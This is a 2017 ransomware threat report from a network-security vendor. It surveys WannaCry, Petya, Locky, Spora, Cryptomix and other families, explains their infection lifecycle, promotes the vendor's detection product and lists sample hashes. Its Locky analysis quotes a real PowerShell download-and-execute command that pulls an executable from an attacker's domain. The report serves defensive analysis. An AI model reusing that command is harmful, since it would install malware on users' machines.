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Throughout 2017, ransomware has been a major pain for various industries and business. In this 
report, we identify the top 10 ransomware seen in 2017 and explain how they affect businesses 
along with explaining how security solutions from Versa Networks can protect your business.
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Millions of computers get infected everyday by known and 
unknown threats. This year, has seen a class of malware known 
as Ransomware infect several hundreds of thousands of devices 
and in turn impacting several business sectors. Each year, this 
class of malware, has employed new techniques to lure victims, 
infect them and have their files encrypted. A ransom is then 
demanded to free the encrypted files. 2017 has seen Ransomware 
begin to employ heavy obfuscation, anti-analysis, persistence and 
other interesting techniques to move laterally within a network 
once it has managed to infect a device within the network. 

Versa’s Threat Research Lab analyzed 10 ransomware samples 
that made the news in 2017 revealing the incredible negative 
impact they inflicted on businesses worldwide. As part of the 
analysis of the 10 samples, the entire lifecycle from the initial 
stages to propagation was studied. The behavior of these 
samples were tested against the threat response capability of 
Versa Networks security solutions. In this report, we present a 
quick overview of the results from the analysis of the ransomware 
samples and how Versa Networks security solutions can detect 
and prevent ransomware at various stages of its lifecycle.

The Ransomware Lifecycle
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The most common containers for launching 
malicious code recently are Microsoft 
Office document files with embedded 
macros. Macros enable document editors 
to write code snippets that help automate 
repetitive tasks and are embedded in the 
document structure. Threats commonly 
arrive as an email attachment. Attackers 
use luring email messages and social 
engineering tactics to entice the user to 
open the document and enable macros, 
despite the typical pop-up warning. The 
following screenshot was taken during 
the analysis of the ransomware named 
“Cerber”. Macros are by default disabled. However, using cleverly worded messages the 
attacker entices the victim to enable Macros, which when done initiates the infection process.

In the samples analyzed, the embedded macros started the infection process. This involves 
decoding and extracting additional scripts at runtime. These scripts in turn download more 
malicious code from attacker controlled machines. The scripts then schedule tasks and set 
the stage for the infected device to receive additional commands or malware from an attacker 
controlled server. In the analysis we found that some of the scripts were heavily obfuscated. 
They contained additional script code encoded as Base64 strings or contained function 

bodies that appeared 
commented out but 
were uncommented 
at runtime. The 
following screenshot 
was taken during the 
analysis of “Locky”. 
Using readily available 
tools one can extract 
the embedded 
macros in Microsoft 
documents for 
further analysis.

The above obfuscated VBA macro at runtime invokes Microsoft PowerShell 
in the following manner to download additional malware

powershell.exe -nop -Exec Bypass -Command (New-Object System.Net.WebClient).
DownloadFile(‘http://doctorfeelk.top/admin.php?f=1’, $env:APPDATA + ‘\aWyzXrmP.exe’);
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Ransomwares like “WannaCry”, “Spora” etc. have a public RSA key embedded in 
their code. The private key is typically in the possession of the attacker. The public 
RSA key and AES keys, generated at runtime, are used to generate the encryption 
key to encrypt a select list of files. The following screenshot was taken during the 
analysis of “Spora” and shows a list of files this ransomware will search to encrypt 
once infection is successful. Certain folders are excluded from encryption.

Email is not the sole technique for propagation. Ransomware can also infect a machine 
via a “drive-by-download” when the targeted victim browses to a website which redirects 
to a server hosting exploit kits. Exploit kits like “Rig” and “Angler” come prepared to 
leverage vulnerabilities in a wide variety of software. Common applications that are 
exploited are web browsers, media players and document renderers. This year “WannaCry” 
and “Petya” employed lateral movement techniques which gave them the capability to 
self-replicate. “WannaCry” employed the “EternalBlue” attack, while “Petya” employed 
“EternalBlue” and “EternalRomance” attacks for propagation. Both of these exploits 
and several other exploits and tools gained notoriety when they were exposed by the 
“ShadowBrokers” hacker group. In the final stages of the attack the victim computer 
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has files encrypted, left with instructions on how to make the payment and as seen with 
samples like “WannaCry”, will move laterally to infect more machines on the network. 
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The above screenshots were captured during the analysis of “WannaCry”. Along with 
encrypting files, “WannaCry” has a function that enumerates local adapters on the 
infected system and will attempt to run “EternalBlue” exploits over TCP port 445. 
It does this via two threads, one thread runs the exploit on machines on the local 
network and the other to randomly generated IP addresses. These ransomwares 
ensure their continued execution via a wide variety of methods like editing various 
registry keys that enable persistence, adding to the “Startup” folder and etc.
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Ransomwares in 2017
This will be a quick overview of some of the ransomware samples that were analyzed. Presenting 
a detailed technical analysis is beyond the scope of this document. Additional blog publications 
will go into more elaborate detail for some of the most recent and interesting outbreaks.

WannaCry

WannaCry gained a lot of attention in 2017. The ransomware originated around May 2017 and 
very quickly infected several hundred thousand computers in over one-hundred countries. 
“WannaCry” leverages a previously disclosed Windows SMB protocol vulnerability using 
TCP ports 139 and 445. Dubbed “EternalBlue” this attack against SMB was leaked onto 
the internet by the hacker group “ShadowBrokers”. The ransomware encrypts files on 
the infected computer demanding a $300 Bitcoin payment for receiving the decryption 
keys. Along with this, a second component of the malware initiates scans of the local 
network and IP addresses on the internet to run the next wave of “EternalBlue” attack.

Petya 

In its latest avatar “Petya”, known as “NotPetya” comes with its own propagation 
mechanism. Like “WannaCry”, it can discover and infect other computers without user 
intervention. Typically, user intervention is needed, as in opening an attachment or 
visiting a compromised site. “NotPetya” is quite similar to its earlier version, rather than 
encrypting the actual file it encrypts the Master File Table (MFT). It writes loader code 
into the Master Boot Record (MBR) section and reboots the computer. During a reboot 
the “chkdsk” utility appears to be running but in fact “Petya” is at work encrypting the 
Master File Table. The MFT is a database containing records about every file on the system. 
The ransomware demands payment of 9 Bitcoin for decrypting the MFT. In addition, 
“NotPetya” uses the “EternalBlue” and “EternalRomance” SMB exploits to self-propagate.

Locky 

In the world of ransomware, “Locky” has become a very popular name. “Locky” was 
released in early 2016 and is still very active today. “Locky” arrives via socially engineered 
email messages that contain MS word attachments. Typically the MS word attachment 
in these emails has embedded and obfuscated macros which use PowerShell to 
download code to start the malware phase. The encryptor stage is then downloaded 
and executed. “Locky” adds itself to “Software\Microsoft\Windows\CurrentVersion\Run” 
to achieve persistence. It also deletes the Volume Shadow Copy to prevent restoring 
files from backup. “Locky” communicates with certain predefined IP address which 
are C&C servers using the HTTP protocol. “Locky” encrypts the files on all connected 
and removable drives. Like most ransomware “Locky” comes with an inbuilt list of file 
extensions which are encrypted using a combination of RSA and AES algorithms.
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Spora

“Spora” came to limelight early this year and can arrive at a victim’s computers via email or from 
a compromised website. Its seen to arrive as a zipped .HTA file which, when launched, drops a 
JavaScript and an EXE file in the users %TEMP% folder. An interesting technique used by this 
ransomware is that it deletes the shadow volume copy on an infected machine so that files 
cannot be restored from a snapshot. “Spora” uses a series of complex encryption steps using 
AES and RSA to encrypt the files. “Spora” does not employ any lateral movement techniques.

Cryptomix

“Cryptomix” can arrive at a victim’s computer either via email or by redirecting the victim 
to a website hosting the “Rig” exploit kit. It was spotted in early 2016 . The encryption keys 
are generated and shared with a command and control (C&C) server. This C&C server used 
by the attacker to send commands to the infected host. The ransomware comes with an 
inbuilt list of files to encrypt using AES on local and connected drives. After encryption, 
the victim must wait for further instructions on how to make the ransom-payment to 
receive the decryption key. Unlike other self-propogating ransomware like “WannaCry”, 
“Cryptomix” does not have the capability to spread to other machines on the network.

Some of the other samples analyzed to test Versa FlexVNF detection capabilities were 
Cerber, Jaff, JigSaw, NemuCode and Crysis. While these samples are fundamentally 
ransomware, they did have differentiating characteristics. Crysis makes use of 
Remote Desktop Services, Jaff employs a botnet to send out large number of spam 
e-mails, Cerber provides “ransomware-as-a-service”. Cerber continues to evolve 
and got stealthier with the addition of anti-VM and anti-sandbox functionality. 

Versa Network’s Security Solution
We have seen the lifecycle of a ransomware and the various stages it goes through 
to infect and hold the victim for ransom. Through multiple layers of security, Versa 
FlexVNF can help protect networks from ransomware attacks. Versa FlexVNF does this 
by inspecting both files and traffic at different stages of the ransomware infection. 

Initial infection starts with a drive-by-download or an email with a malicious attachment. 
Versa FlexVNF is capable of extracting files transferred over a myriad of protocols like 
HTTP, SMB and SMTP attachments even when encoded. Once these files are extracted 
they forwarded to the Anti-Malware engine for deeper analysis. Here the file is inspected 
for any malicious artefacts. All the Ransomware discussed in this report was caught 
by the Anti-Malware engine before they could start the initial infection steps. 

In case of payloads delivered by exploit kits, the IPS engine is updated regularly 
to detect and prevent the different exploits employed by exploit kits. The IPS 
content is also enhanced to detect techniques to move laterally within a network. 
A variant of APT28 was seen to use the “EternalBlue” exploit and the “Responder” 
toolkit for lateral movement, but was detected by the FlexVNF IPS-engine.
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During the analysis, ransomware samples where seen communicating with IP address/URL’s 
embedded in the malicious code. The URL reputation feature in Versa FlexVNF can prevent 
an end host from communicating with these IP addresses or URL. These are machines under 
the attackers control and can act as a staging area from where additional malicious code 
is downloaded. In addition, the DNS security solution, which is updated several times a 
day with information on malicious domain, can prevent a DNS query to a malicious domain 
from resolving. This will prevent any contact with the malicious domain from happening. 

Versa Networks can provide in-depth and comprehensive protection with several 
layers of defense for protocols and file formats. These defense mechanisms 
can protect networks from some of the most virulent ransomwares seen in 
2017. The following is a list of the samples analyzed for this report. 

Sample SHA256

WannaCry
24d004a104d4d54034dbcffc2a4b19a11f39008a575aa614ea04703480b1022c
9b60c622546dc45cca64df935b71c26dcf4886d6fa811944dbc4e23db9335640
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa

Petya 027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745

Locky 8ca111f79892cb445c44588f1ade817abcbb3f3e39971f0ef7891b90f09de1e9
933bd8262a34770b06ebe64c800f98d68082c2929af69c3feae7dd4c2aa6a897

Cerber
37365cff4f3117afdb4887360f8d0f81d8ea42b2c7d03f674de71459b7e6fab0
2d08ffeba708fb833404d2c320ea4f29365c791d504181e08e3e9b529f5cf096
a5ff5f861bbb1ac7c6fd44f303f735fac01273ce2ae43a8acb683076192fcfcc

Jaff 5bd8352171880485bf06d2d089e39d4112e8540f28d0f84bb045ab58737ad6bf

JigSaw

80a6681b00056a487bba1b66c046b798dfe18bf37aa30d8a4a1be968b9add997
917809beb6566079dbb6b686107756d9eb3ff4543f6b41ef327cea7497118457
a375201f22b6e71d8ea0f81266242e4638e1754aeee14059e9c5e39026d6c710
bc83ef30422eb7b0c8903d3b4f1d4258e25cf78e9357a30dac773f8d2c17aa28

NemuCode
0a59bc35fe7bd84c955402aba2ad3883a5cdb08deb353c8f6310a163109f0c60  
8e9af7d90193bddc89d1c3782477bde76f90707eb1900537c020fc02970bbd74  
fee6b19ff8a39e83756345af421d3d85d20e67df62ac58bc05f514c368efc329

Spora 7ad9ed23a91643b517e82ad5740d24eca16bcae21cfe1c0da78ee80e0d1d3f02

Cryptonix 1e278de6b60a036e05197baa5583360c3acdde3aeeb36106baabe827871f0270
f8751c14c6f14239d867b21ea1229eeddfa052aeab22b25e158131a118628270
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